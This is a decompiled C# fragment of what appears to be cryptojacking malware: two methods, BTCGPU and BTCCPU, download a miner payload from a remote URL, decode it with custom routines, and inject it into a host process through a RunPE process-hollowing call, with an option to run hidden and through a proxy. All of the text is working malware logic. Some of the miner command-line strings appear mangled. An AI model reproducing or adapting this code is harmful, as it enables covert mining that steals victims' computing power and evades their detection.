// Token: 0x06000091 RID: 145 RVA: 0x0000B830 File Offset: 0x00009A30 public static void BTCGPU(string p1, string p2, string p3, bool hidden, string proxy = "") { try { if (!File.Exists(HandleMiner.BFGCLoc)) { Functions.URLDownloadToFile(null, HandleMiner.BFGC, HandleMiner.BFGCLoc, 0, IntPtr.Zero); } } catch (Exception ex) { return; } byte[] buffer = File.ReadAllBytes(HandleMiner.BFGCLoc); byte[] pix_Sub_ = HandleMiner.ASDF(buffer, 8); byte[] array = HandleMiner.PIX_Func_002_COIN(pix_Sub_); if (proxy.Length > 1) { string fileName = Process.GetCurrentProcess().MainModule.FileName; string cmd = string.Concat(new string[] { "-S opencl:auto --url=", p1, " -u ", p2, " -p ", p3, " --gpu-threads=2 --intensity=6 -x ", proxy }); byte[] data = array; bool compatible = true; string desktop = ""; int num = 0; RunPE.TryRun(fileName, cmd, data, compatible, hidden, desktop, ref num); } else { string fileName2 = Process.GetCurrentProcess().MainModule.FileName; string cmd2 = string.Concat(new string[] { "-S opencl:auto --url=", p1, " -u ", p2, " -p ", p3, " --gpu-threads=2 --intensity=6" }); byte[] data2 = array; bool compatible2 = true; string desktop2 = ""; int num = 0; RunPE.TryRun(fileName2, cmd2, data2, compatible2, hidden, desktop2, ref num); } }
// Token: 0x06000093 RID: 147 RVA: 0x0000BA8C File Offset: 0x00009C8C public static void BTCCPU(string p1, string p2, string p3, bool hidden, string proxy = "") { try { if (!File.Exists(HandleMiner.CPUCLoc)) { Functions.URLDownloadToFile(null, HandleMiner.CPUC, HandleMiner.CPUCLoc, 0, IntPtr.Zero); } } catch (Exception ex) { return; } byte[] buffer = File.ReadAllBytes(HandleMiner.CPUCLoc); byte[] array = HandleMiner.PIX_Func_002_COIN(HandleMiner.ASDF(buffer, 8)); if (proxy.Length > 1) { string fileName = Process.GetCurrentProcess().MainModule.FileName; string cmd = string.Concat(new string[] { "--url=", p1, " --userpass="******":", p3, " --algo=sha256d --proxy=", proxy }); byte[] data = array; bool compatible = true; string desktop = ""; int num = 0; RunPE.TryRun(fileName, cmd, data, compatible, hidden, desktop, ref num); } else { string fileName2 = Process.GetCurrentProcess().MainModule.FileName; string cmd2 = string.Concat(new string[] { "--url=", p1, " --userpass="******":", p3, " --algo=sha256d" }); byte[] data2 = array; bool compatible2 = true; string desktop2 = ""; int num = 0; RunPE.TryRun(fileName2, cmd2, data2, compatible2, hidden, desktop2, ref num); } }